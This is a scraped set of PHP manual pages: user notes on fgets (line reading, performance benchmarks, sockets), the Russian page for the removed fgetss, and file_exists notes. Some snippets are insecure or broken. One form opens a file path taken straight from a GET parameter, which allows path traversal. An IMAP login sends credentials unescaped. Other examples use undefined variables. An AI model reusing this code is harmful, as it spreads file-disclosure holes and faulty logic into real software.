    <option value='var1' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var1") ? "selected=true" : "");?>> For Year</option>
    <option value='var2' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var2") ? "selected=true" : "");?>>Name</option>
    <option value='var3' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var3") ? "selected=true" : "");?>>Name&Year</option>
</select>
<br>
<input type='submit' value='Button'>

</form>

<?php

if((!isset($_GET['filepath']) || !file_exists($_GET['filepath'])) || !isset($_GET['sel']))
    exit("");

echo "List<br>";
$fullPath = "D:\\OSPanel\\domains\\" . $_GET["filepath"];
$f = fopen($fullPath, "r");
$arr;
for($i = 0; $str = fgets($f); $i++){
    $tempArr0 = explode('-', $str);
    $arr[$i][0] = trim($tempArr0[0]);
    $arr[$i][1] = trim($tempArr0[1]);
}

if($_GET["sel"] == "var1"){
    sort($arr);
    echo "<p>";
    for($i = 0; $i < count($arr); $i++)
        echo "<i>{$arr[$i][0]}</i>; ";
    echo "</p>";
}
else if($_GET["sel"] == "var2"){
    for($i = 0; $i < count($arr); $i++)
        echo "<p><b>{$arr[$i][1]}</b></p>";
}
else if($_GET["sel"] == "var3"){
    for($i = 0; $i < count($arr); $i++)
        echo "<p><b>{$arr[$i][1]}</b>: <i>{$arr[$i][0]}</i></p>";
}

?>
Carlo 25-Feb-2018 10:16
Error in the example number 1 of this page.

change this line:
    $buffer = fgets($fd, 4096);
into:
    $buffer = fgets($handle, 4096);
bobo 06-Dec-2016 05:56
One easy sample, how to use "fgets":
This sample shows how to read the Information from an .txt file:

<?php
$z=fopen("protocol.txt","r");                       //r = read
if($pointer!=false)                                    //Is it possible to open the File?!
{
  //Repeats all Information from protocol.txt
  while(!feof($pointer))                              //the loop runs till the Pointer is at the End of the File
  {
    $row = fgets($pointer);                            // $row reads the Information from the row of the File
    echo "<p>".$row."</p>";
  }
  fclose($pointer);                                    //File must be closed
}
else
{
  echo"<p> It was not possible to open the File!</p>";
}
?>
bogdan at insightmed dot eu 01-Jul-2016 09:11
Even if  this is not really related to PHP and its internals take care when using fgets for reading input from CLI on Linux systems as it may behave unexpected because of the limitations of arguments length on these systems. For example doing rtrim(fgets(STDIN), "\n") on a user input larger than 4095 characters will cut the the input string to 4095 characters. This shortcoming can be solved using "stty -icanon" before the script run, followed by a "stty icanon" after the script is run.
bfb1985 at yahoo dot es 28-Jan-2016 11:59
I had loads of trouble while reading with fgets on a WAMP (Windows server). On local the file went unto a <pre> tag without a hitch, but when I moved the code to a LAMP production server, every \r\n created two fgets and I got free empty lines.

I tried deleting with $string=str_replace("\r\n","\n",$string); but it had no effect whatsoever. The solution was to do an fread() and explode the contents by PHP_EOL and do a foreach($lines as $line) so every line did not get duplicated.

Here is the example code:

$file=fopen("test.txt,"r");
$text=fread($file,filesize("test.txt"));
$lines=explode(PHP_EOL,$text);
foreach($lines as $line)
  {
  // Do something
  }
alex at alex-at dot ru 03-Nov-2015 10:28
For anyone who wants a proper non-blocking fgets for sockets, there is a tiny snippet that does just that (performance should be horrible compared to fgets though):

<?php
function read_line_nb($handle)
{
    static $buffer = '';
    static $lastOffset = 0;

    $buffer .= fread($handle, 0x1000);
    if (preg_match('#\\R#', $buffer, $m, PREG_OFFSET_CAPTURE, $lastOffset)) {
        $line = substr($buffer, 0, $m[0][1] + strlen($m[0][0]));
        $buffer = substr($buffer, $m[0][1] + strlen($m[0][0]));
        return $line;
    }
    $lastOffset = strlen($buffer);
    return false;
}
?>
Leigh Purdie 08-Apr-2015 03:03
A better example, to illustrate the differences in speed for large files, between fgets and stream_get_line.

This example simulates situations where you are reading potentially very long lines, of an uncertain length (but with a maximum buffer size), from an input source.

As Dade pointed out, the previous example I provided was much to easy to pick apart, and did not adequately highlight the issue I was trying to address.

Note that specifying a definitive end-character for fgets (ie: newline), generally decreases the speed difference reasonably significantly.

#!/usr/bin/php
<?php
        $plaintext=file_get_contents('http://loripsum.net/api/60/verylong/plaintext');  # Should be around 90k characters
        $plaintext=str_replace("\n"," ",$plaintext); # Get rid of newlines

        $fp=fopen("/tmp/SourceFile.txt","w");
        for($i=0;$i<100000;$i++) {
                fputs($fp,substr($plaintext,0,rand(4096,65534)) . "\n");
        }
        fclose($fp);

        $fp=fopen("/tmp/SourceFile.txt","r");
        $start=microtime(true);
        while($line=fgets($fp,65535)) {
                1;
        }
        $end=microtime(true);
        fclose($fp);
        $delta1=($end - $start);

        $fp=fopen("/tmp/SourceFile.txt","r");
        $start=microtime(true);
        while($line=stream_get_line($fp,65535)) {
                1;
        }
        $end=microtime(true);
        fclose($fp);
        $delta2=($end - $start);

        $pdiff=$delta1/$delta2;
        print "stream_get_line is " . ($pdiff>1?"faster":"slower") . " than fgets - pdiff is $pdiff\n";
?>

$ ./testcase.php
stream_get_line is faster than fgets - pdiff is 1.760398041785

Note that, in a vast majority of situations in which php is employed, tiny differences in speed between system calls are of negligible importance.
wojons 29-Jan-2014 11:32
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Anonymous 29-Jan-2014 11:31
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Dade Brandon 31-Aug-2013 12:33
Regarding Leigh Purdie's comment (from 4 years ago) about stream_get_line being better for large files, I decided to test this in case it was optimized since then and I found out that Leigh's comment is just completely incorrect

fgets actually has a small amount of better performance, but the test Leigh did was not set up to produce good results

The suggested test was:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

0m1.616s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

0m7.392s

The reason this is invalid is because the buffer size of 65535 is completely unnecessary

piping the output of "yes 'this is a test line'" in to PHP makes each line 19 characters plus the delimiter

so while I don't know why stream_get_line performs better with an oversize buffer, if both buffer sizes are correct, or default, they have a negligable performance difference - although notably, stream_get_line is consistent - however if you're thinking of switching, make sure to be aware of the difference between the two functions, that stream_get_line does NOT append the delimiter, and fgets DOES append the delimiter

Here are the results on one of my servers:

Buffer size 65535
stream_get_line:    0.340s
fgets:   2.392s

Buffer size of 1024
stream_get_line:  0m0.348s
fgets: 0.404s

Buffer size of 8192 (the default for both)
stream_get_line: 0.348s
fgets:  0.552s

Buffer size of 100:
stream_get_line: 0.332s
fgets: 0.368s
apardo at NOSPAM dot gmail dot com 17-May-2012 04:03
This is a a simple function to detect end of line type for any file.

<?php
function detectEndOfLine($file)
{
    $handle = @fopen($file, "r");
    if ($handle)
    {
        $char=0;
        while (!$eol || feof($handle))
        {
            $char++;
            $line = fgets($handle, $char);
            $eol = preg_match("/(\r)+/", $line)? "W" : "";
            if(!$eol) $eol = preg_match("/(\n)+/", $line)? "L" : "";
        }
        return $eol;
        fclose($handle);
    }
}
?>
dan at censornet dot com 25-Apr-2012 12:42
WARNING! fgets() and I presume any read() call to a file handle, e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    ...do something useful with $line...
  }

...will result in a timeout after a default time of 60 seconds on my install. This behavior is non standard (not POSIX like) and seems to me to be a bug, or if not a major caveat which should be documented more clearly.

After the timeout fgets() will return FALSE (=== FALSE), however, you can check to see if the stream (file handle) has really closed by checking feof($stream), e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    if($line === FALSE) {
      if(feof(STDIN)) {
        break;
      }
      continue;
    }

    ...do something useful with $line...
  }
hgs at cs dot columbia dot edu 20-Jan-2011 04:42
There seems to be an interaction between sockets and the auto_detect_line_endings setting that can cause rather peculiar behavior. Apparently, if the first line read from a socket is split across two TCP packets, the detector will look at the first TCP packet and determine that the system uses MacOS (\r) line endings, even though the LF is contained in the next packet. For example, this affected the PEAR Net_SMTP package, which would fail mysteriously for only some email servers.
lzsiga at freemail.c3.hu 04-Jun-2010 11:32
Some people try to call feof before fgets, and then ignoring the return value of fgets. This method leads to processing value FALSE when reaching the end of file.

Bad example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while (! feof ($f)) {
        $line= fgets ($f);
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>

Good example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while ($line= fgets ($f)) {
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>
afwxkat at gmail dot com 22-Jul-2009 05:07
One thing I discovered with fgets, at least with PHP 5.1.6, is that you may have to use an IF statement to avoid your code running rampant (and possibly hanging the server).  This can cause problems if you do not have root access on the server on which you are working.

This is the code I have implemented ($F1 is an array):

<?php
   if($fh = fopen("filename","r")){
      while (!feof($fh)){
         $F1[] = fgets($fh,9999);
      }
      fclose($fh);
    }
?>

I have noticed that without the IF statement, fgets seems to ignore when $fh is undefined (i.e., "filename" does not exist).  If that happens, it will keep attempting to read from a nonexistent filehandle until the process can be administratively killed or the server hangs, whichever comes first.
Leigh Purdie 12-Oct-2008 11:14
For large files, consider using stream_get_line rather than fgets - it can make a significant difference.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s
jerem-NoSpam-ified at live dot com 17-Apr-2008 08:22
It's worth noting that this function only assumes chr(10) as a line break, but not chr(13). Personally, I prefer using chr(13) as a line break.
Daniel Klein 25-Jan-2008 08:47
The file pointer that fgets() uses can also be created with the proc_open() function and used with the stdout pipe created from the executed process.
david_sitller at blackbit dot de 24-Oct-2007 05:32
If you use the example from the command-description, i recommend to trim the $buffer for further use. The line feed ist still at the end of the line. I saw this when using PHP CLI.

Like this, checking a file-list for existing entries:

$handle = fopen ("/tmp/files.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($handle, 4096);
    if (file_exists(rtrim($filename,"\n"))) {
        echo $buffer;
    } else {
        echo $buffer." has been removed."
}
fclose ($handle);
anacreo has gmail 18-Sep-2007 02:15
I'm using this function to modify the header of a large postscript document on copy...  Works extremely quickly so far...

function write($filename) {
     $fh = fopen($this->sourceps,'r');
     $fw = fopen($filename,'w');

     while (!feof($fh)) {
       $buffer = fgets($fh);
       fwrite($fw,$buffer);
       if (!$setupfound && ereg("^%%BeginSetup",$buffer)) {
         $setupfound++;
         if (array_key_exists("$filename",$this->output)) {
           foreach ($this->output[$filename] as $function => $value) {
             fwrite($fw,$value);
           }
         }
         stream_copy_to_stream($fh,$fw);
       }
     }
     fclose($fw);
     fclose($fh);
   }
Peter Schlaile 21-Aug-2007 11:36
fscanf($file, "%s\n") isn't really a good substitution for fgets(), since it will stop parsing at the first whitespace and not at the end of line!

(See the fscanf page for details on this)
David at Weintraub.name 10-Jul-2007 02:23
There's an error in the documentation:

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

You should also add "popen" and "pclose" to the documentation. I'm a new PHP developer and went to verify that I could use "fgets" on commands that I used with "popen".
d at foo.com 13-Aug-2006 01:03
For sockets, If you dont want fgets, fgetc etc... to block if theres no data there. set socket_set_blocking(handle,false); and socket_set_blocking(handle,true); to set it back again.
svayn at yahoo dot com 14-Jul-2006 02:21
fgets is SLOW for scanning through large files. If you don't have PHP 5, use fscanf($file, "%s\n") instead.
sam dot bryan at montal dot com 23-May-2006 02:09
An easy way to authenticate Windows Domain users from scripts running on a non-Windows or non-Domain box - pass the submitted username and password to an IMAP service on a Windows machine.

<?php
$server = 'imapserver';
$user = 'user';
$pass = 'pass';

if (authIMAP($user, $pass, $server)) {
    echo "yay";
} else {
    echo "nay";
}

function authIMAP($user, $pass, $server) {
    $connection = fsockopen($server, 143, $errno, $errstr, 30);

    if(!$connection) return false;

    $output = fgets($connection, 128); // banner
    fputs($connection, "1 login $user $pass\r\n");
    $output = fgets($connection, 128);
    fputs($connection, "2 logout\r\n");
    fclose($connection);

    if (substr($output, 0, 4) == '1 OK') return true;

    return false;
}
?>
24-Mar-2006 09:36
Macintosh line endings mentioned in docs refer to Mac OS Classic. You don't need this setting for interoperability with unixish OS X.
tavernadelleidee[italy] 09-Mar-2006 03:44
I think that the quickest way of read a (long) file with the rows in  reverse order is

<?php
$myfile = 'myfile.txt';
$command = "tac $myfile > /tmp/myfilereversed.txt";
passthru($command);
$ic = 0;
$ic_max = 100;  // stops after this number of rows
$handle = fopen("/tmp/myfilereversed.txt", "r");
while (!feof($handle) && ++$ic<=$ic_max) {
   $buffer = fgets($handle, 4096);
   echo $buffer."<br>";
}
fclose($handle);
?>

It echos the rows while it is reading the file so it is good for long files like logs.

Borgonovo
ecvej 04-Jan-2006 01:20
I would have expected the same behaviour from these bits of code:-

<?php

/*This times out correctly*/
while (!feof($fp)) {
    echo fgets($fp);
}

/*This times out before eof*/
while ($line=fgets($fp)) {
    echo $line;
}

/*A reasonable fix is to set a long timeout*/
stream_set_timeout($fp, 180);
while ($line=fgets($fp)) {
    echo $line;
}
?>
hackajar <matt> yahoo <trot> com 05-Dec-2005 12:17
When working with VERY large files, php tends to fall over sideways and die.

Here is a neat way to pull chunks out of a file very fast and won't stop in mid line, but rater at end of last known line.  It pulled a 30+ million line 900meg file through in ~ 24 seconds.

NOTE:
$buf just hold current chunk of data to work with.  If you try "$buf .=" (note 'dot' in from of '=') to append $buff, script will come to grinding crawl around 100megs of data, so work with current data then move on!

//File to be opened
$file = "huge.file";
//Open file (DON'T USE a+ pointer will be wrong!)
$fp = fopen($file, 'r');
//Read 16meg chunks
$read = 16777216;
//\n Marker
$part = 0;

while(!feof($fp)) {
    $rbuf = fread($fp, $read);
    for($i=$read;$i > 0 || $n == chr(10);$i--) {
        $n=substr($rbuf, $i, 1);
        if($n == chr(10))break;
        //If we are at the end of the file, just grab the rest and stop loop
        elseif(feof($fp)) {
            $i = $read;
            $buf = substr($rbuf, 0, $i+1);
            break;
        }
    }
    //This is the buffer we want to do stuff with, maybe thow to a function?
    $buf = substr($rbuf, 0, $i+1);
    //Point marker back to last \n point
    $part = ftell($fp)-($read-($i+1));
    fseek($fp, $part);
}
fclose($fp);
kpeters AT-AT monolithss DEE OH TEE com 01-Dec-2005 05:51
It appears that fgets() will return FALSE on EOF (before feof has a chance to read it), so this code will throw an exception:

while (!feof($fh)) {
  $line = fgets($fh);
  if ($line === false) {
    throw new Exception("File read error");
  }
}
dandrews OVER AT 3dohio DOT com 07-Jan-2005 11:11
Saku's example may also be used like this:

<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         // $TEXT .= $preTEXT;  this is better for a string
        $ATEXT[$I] = $preTEXT;  // maybe better as an array
        $I++;
     }
     fclose($pointer);
   }
?>
angelo [at] mandato <dot> com 19-Nov-2004 06:43
Sometimes the strings you want to read from a file are not separated by an end of line character.  the C style getline() function solves this.  Here is my version:
<?php
function getline( $fp, $delim )
{
    $result = "";
    while( !feof( $fp ) )
    {
        $tmp = fgetc( $fp );
        if( $tmp == $delim )
            return $result;
        $result .= $tmp;
    }
    return $result;
}

// Example:
$fp = fopen("/path/to/file.ext", 'r');
while( !feof($fp) )
{
    $str = getline($fp, '|');
    // Do something with $str
}
fclose($fp);
?>
lelkesa 04-Nov-2004 02:54
Note that - afaik - fgets reads a line until it reaches a line feed (\\n). Carriage returns (\\r) aren't processed as line endings.
However, nl2br insterts a <br /> tag before carriage returns as well.
This is useful (but not nice - I must admit) when you want to store a more lines in one.
<?php
function write_lines($text) {
  $file = fopen('data.txt', 'a');
  fwrite($file, str_replace("\n", ' ', $text)."\n");
  fclose($file);
}

function read_all() {
  $file = fopen('data.txt', 'r');
  while (!feof($file)) {
    $line = fgets($file);
    echo '<u>Section</u><p>nl2br'.($line).'</p>';
  }
  fclose($file);
}
?>

Try it.
05-Sep-2004 03:05
If you need to simulate an un-buffered fgets so that stdin doesnt hang there waiting for some input (i.e. it reads only if there is data available) use this :
<?php

    function fgets_u($pStdn) {

            $pArr = array($pStdn);

        if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
            print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
            return FALSE;
        } elseif ($num_changed_streams > 0) {
                return trim(fgets($pStdn, 1024));
        }

    }

?>
timr 16-Jun-2004 07:13
If you need to read an entire file into a string, use file_get_contents().  fgets() is most useful when you need to process the lines of a file separately.
Pete 22-Feb-2004 04:35
If you have troubles reading binary data with versions <= 4.3.2 then upgrade to 4.3.3
The binary safe implementation seems to have had bugs which were fixed in 4.3.3


Читает строку из файла и удаляет HTML-теги

  • « fgets
  • file_exists »
  • PHP Manual
  • Функции файловой системы
  • Читает строку из файла и удаляет HTML-теги

fgetss

(PHP 4, PHP 5, PHP 7)

fgetss — Читает строку из файла и удаляет HTML-теги

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.3.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

fgetss(resource $handle, int $length = ?, string $allowable_tags = ?): string

Функция идентична функции fgets(), за исключением того, что fgetss() удаляет любые NULL-байты, HTML- и PHP-теги из прочитанной строки. Функция сохраняет состояние синтаксического анализа от вызова к вызову и поэтому не эквивалентна вызову strip_tags() для возвращаемого значения fgets().

Список параметров

handle

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

length

Длина получаемых данных.

allowable_tags

Можно использовать третий необязательный параметр для указания тегов, которые не нужно вырезать. Смотрите описание strip_tags() для более подробной информации о allowable_tags.

Возвращаемые значения

Возвращает строку длиной до length - 1 байт, прочтённых из файла, на который указывает дескриптор handle, с вырезанными тегами HTML и PHP.

В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Построчное чтение PHP-файла

<?php
$str = <<<EOD
<html><body>
<p>Добро пожаловать! Сегодня <?php echo(date('jS F')); ?>.</p>
</body></html>
Текст вне HTML-блока.
EOD;
file_put_contents('sample.php', $str);

$handle = @fopen("sample.php", "r");
if ($handle) {
while (!feof($handle)) {
$buffer = fgetss($handle, 4096);
echo $buffer;
}
fclose($handle);
}
?>

Результатом выполнения данного примера будет что-то подобное:

 Добро пожаловать! Сегодня .

Текст вне HTML-блока.

Примечания

Замечание: Если у вас возникают проблемы с распознаванием PHP концов строк при чтении или создании файлов на Macintosh-совместимом компьютере, включение опции auto_detect_line_endings может помочь решить проблему.

Смотрите также

  • fgets() - Читает строку из файла
  • fopen() - Открывает файл или URL
  • popen() - Открывает файловый указатель процесса
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • strip_tags() - Удаляет теги HTML и PHP из строки
  • SplFileObject::fgetss() - Получить строку из файла и удалить теги HTML
  • Фильтр string.strip_tags

User Contributed Notes

There are no user contributed notes for this page.


Проверяет существование указанного файла или каталога

  • « fgetss
  • file_get_contents »
  • PHP Manual
  • Функции файловой системы
  • Проверяет существование указанного файла или каталога

file_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

file_exists — Проверяет существование указанного файла или каталога

Описание

file_exists(string $filename): bool

Проверяет наличие указанного файла или каталога.

Список параметров

filename

Путь к файлу или каталогу.

На платформах Windows, для проверки наличия файлов на сетевых ресурсах, используйте имена, подобные //computername/share/filename или \\computername\share\filename.

Возвращаемые значения

Возвращает true, если файл или каталог, указанный параметром filename, существует, иначе возвращает false.

Замечание:

Данная функция возвращает false для символических ссылок, указывающих на несуществующие файлы.

Замечание:

Проверка происходит с помощью реальных UID/GID, а не эффективных идентификаторов.

Замечание: Так как тип integer в PHP является целым числом со знаком, и многие платформы используют 32-х битные целые числа, то некоторые функции файловых систем могут возвращать неожиданные результаты для файлов размером больше 2 Гб.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Проверка существования файла

<?php
$filename = '/path/to/foo.txt';

if (file_exists($filename)) {
echo "Файл $filename существует";
} else {
echo "Файл $filename не существует";
}
?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • is_readable() - Определяет существование файла и доступен ли он для чтения
  • is_writable() - Определяет, доступен ли файл для записи
  • is_file() - Определяет, является ли файл обычным файлом
  • file() - Читает содержимое файла и помещает его в массив
  • SplFileInfo

User Contributed Notes

Steve GS 08-Apr-2022 09:04
Wordpress always prepends the full URL to any file it stores in its database so, as noted elsewhere, file_exists() can't find the file since it uses the 'document root', not the URL.  An easy way out of this is to use:

file_exists (str_replace (home_url(), $_SERVER['DOCUMENT_ROOT'], $file) )

to check if file $file exists.  Note: As from PHP8, 'DOCUMENT_ROOT' must be enclosed within SQUARE BRACKETS, not braces as suggested by ferodano at gmail dot com

Or, if not using WP, replace home_url() above with the absolute URL name, eg. 'https://mywebsite.com' - within quotes and no trailing foreslash.
trevorhawes2 at gmail dot com 23-Jun-2021 06:06
NB: This function expects the full server-related pathname to work.

For example, if you run a PHP routine from within, for example, the root folder of your website and and ask:

$bstr = file_exists("/images/Proofreading_patients.jpg");

You will get FALSE even if that file does exist off root.

You need to add

$bstr = file_exists(__DIR_."/images/Proofreading_patients.jpg");

to get it to return TRUE - ie : /srv/www/mywebsite.com/public/images/Proofreading_patients.jpg
varrg 29-Aug-2019 09:55
file_exists() is vulnerable to race conditions and clearstatcache() is not adequate to avoid it.

The following function is a good solution:

<?php
function file_exists_safe($file) {
    if (!$fd = fopen($file, 'xb')) {
        return true;  // the file already exists
    }
    fclose($fd);  // the file is now created, we don't need the file handler
    return false;
}
?>

The function will create a file if non-existent, following calls will fail because the file exists (in effect being a lock).

IMPORTANT: The file will remain on the disk if it was successfully created and you must clean up after you, f.ex. remove it or overwrite it. This step is purposely omitted from the function as to let scripts do calculations all the while being sure the file won't be "seized" by another process.

NOTE: This method fails if the above function is not used for checking in all other scripts/processes as it doesn't actually lock the file.
FIX: You could flock() the file to prevent that (although all other scripts similarly must check it with flock() then, see https://www.php.net/manual/en/function.flock.php). Be sure to unlock and fclose() the file AFTER you're done with it, and not within the above function:

<?php
function create_and_lock($file) {
    if (!$fd = fopen($file, 'xb')) {
        return false;
    }
    if (!flock($fd, LOCK_EX|LOCK_NB)) {  // may fail for other reasons, LOCK_NB will prevent blocking
        fclose($fd);
        unlink($file);  // clean up
        return false;
    }
    return $fd;
}

if ($lock = create_and_lock("foo.txt")) {
    // do stuff
    flock($fd, LOCK_UN);  // unlock
    fclose($fd);  // close
}
?>

SEE ALSO: https://linux.die.net/man/2/open about O_CREAT|O_EXCL (which is used with the 'x' modifier for fopen()) and problems with NFS
jag 24-May-2019 11:00
file_exists() does NOT search the php include_path for your file, so don't use it before trying to include or require.

use

    @$result = include $filename;

Yes, include does return false when the file can't be found, but it does also generate a warning. That's why you need the @. Don't try to get around the warning issue by using file_exists(). That will leave you scratching your head until you figure out or stumble across the fact that file_exists() DOESN'T SEARCH THE PHP INCLUDE_PATH.
vcoletti at tiscali dot it 26-Jul-2017 10:35
With PHP 7.0 on Ubuntu 17.04 and with the option allow_url_fopen=On, file_exists() returns always false when trying to check a remote file via HTTP.

So
        $url="http://www.somewhere.org/index.htm";
        if (file_exists($url)) echo "Wow!\n";
        else echo "missing\n";

returns always "missing", even for an existing URL.

I found that in the same situation the file() function can read the remote file, so I changed my routine in

        $url="http://www.somewhere.org/index.htm";
        if (false!==file($url)) echo "Wow!\n";
        else echo "missing\n";

This is clearly a bit slower, especially if the remote file is big, but it solves this little problem.
ziptwipi at goioia dot com 17-Aug-2016 05:44
Note that realpath() will return false if the file doesn't exist. So if you're going to absolutize the path and resolve symlinks anyway, you can just check the return value from realpath() instead of calling file_exists() first
broken at links dot com 14-May-2014 12:29
file_exists() will return FALSE for broken links

$ ln -s does_not_exist my_link
$ ls -l
lrwxr-xr-x   1 user  group    14 May 13 17:28 my_link -> does_not_exist
$ php -r "var_dump(file_exists('my_link'));"
bool(false)
welkom at remconijhuis dot nl 30-Dec-2013 11:10
I needed to measure performance for a project, so I did a simple test with one million file_exists() and is_file() checks. In one scenario, only seven of the files existed. In the second, all files existed. is_file() needed 3.0 for scenario one and 3.3 seconds for scenario two.  file_exists() needed 2.8 and 2.9 seconds, respectively. The absolute numbers are off course system-dependant, but it clearly indicates that file_exists() is faster.
DeyV at poczta dot php dot pl 13-Jan-2012 04:47
Great alternative to file_exists() is stream_resolve_include_path()
spark at limao dot com dot br 13-Apr-2011 07:26
this code here is in case you want to check if a file exists in another server:

<?php
function fileExists($path){
    return (@fopen($path,"r")==true);
}
?>

unfortunately the file_exists can't reach remote servers, so I used the fopen function.
ferodano at gmail dot com 16-Sep-2009 01:54
You could use document root to be on the safer side because the function does not take relative paths:

<?php
if( file_exists( $_SERVER{'DOCUMENT_ROOT'} . "/my_images/abc.jpg"))  {
   ...
}
?>

Do not forget to put the slash '/', e.g. my doc root in Ubuntu is /var/www without the slash.
pgl at yoyo dot org 31-Jul-2009 07:03
